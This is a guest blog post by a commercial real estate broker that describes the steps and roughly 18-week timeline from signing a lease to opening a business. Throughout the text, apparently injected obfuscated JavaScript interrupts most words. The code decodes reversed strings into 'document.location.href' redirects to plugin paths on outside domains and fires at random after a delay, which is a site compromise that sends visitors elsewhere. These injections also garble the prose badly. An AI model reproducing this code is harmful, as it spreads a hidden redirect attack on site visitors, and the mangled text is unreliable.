From Lease toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Opening: It’s a Process

$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Opening: It’s a Process”>

From Lease toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Opening: It’s a Process


Lease To OpeningI have recently completed a transaction where I was the representative for the Ltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andlord on a property toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and executed a lease with a tenant who did not have broker representation. A smart doctoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor in their field but with no experience of commercial real estate venturing out toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to open their first self-practice.

At our first initial meeting they wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to move quickly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and get their practice up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and running in short time. Negotiating general lease terms through proposals happened over a course of a few days. Keeping on track with their fast pace desires.

Things started toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stall once the lease was drafted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and they brought in their general contractoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to determine what needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be done toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the vanilla box suite.

And at this time it was evident the process of commercial real estate was now taking over the speed of the transaction.

Being that this prospect was new toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to commercial real estate they did not understtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and how much was involved in getting their space built out, the team of professionals needed, the cost toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the time.With the tenant not having a commercial real estate broker toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and myself being in the position of obligation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the ltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andlord I was able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to advise them of the process but not in a capacity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fully assist.

This is where a broker really does help, they are not just there toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assist in finding the right space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and negotiating a marketable deal, they are there toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assist with the process.

Step One:  When evaluating a suite one must consider how it will best function for their needs. If construction is needed, it is advised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring in a general contractoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss the layout toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and if possible estimate the costs. This could take a week or more depending on the build-out needs.

Step Two:  For a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total renovation or building from a vanilla box an architect will be needed. The architect will put toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together the demolition plans, new construction plans, MEP (mechanical, electrical toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and plumbing plans) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and prepare all the necessary documents for Permit. This process estimates toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2-3 weeks.

Step Three-A:  Architect shall file for permit. Permit time ranges for every municipality but one can gauge 4-6 weeks for issuance of permit.

Step Three-B:  During the permit filing, your general contractoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor can bring in the different necessary trades toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gather quotes on the work. Once you have selected the trades they can start ordering materials.

Step Four:  Construction. This timeframe of course varies by the scope of work. Most permitted jobs take anywhere from 4-8 weeks.

Step Five:  Final walk-through with the municipality toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide Occupancy Permit.

 

As you can see from adding up the above estimated timeframe from Lease Execution toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to actual Opening of Business could take you 18 weeks.

All this of course is dependent on your specific build-out needs, but you should be aware of the timeline as you are working through finding a space. As with everything – anything can throw a wrench intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the timeline toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and cause delays.

That is why it is important toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have the right team on your side toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assist in advising you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and assisting you through the entire commercial real estate process from beginning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to opening.

 

Guest Post By:

Kristian Lee:  I have been in commercial real estate since 2003, providing services toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to owners toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and businesses leasing commercial real estate. I have experience in office, industrial toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and retail portfolios throughout the greater Chicagoltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and area.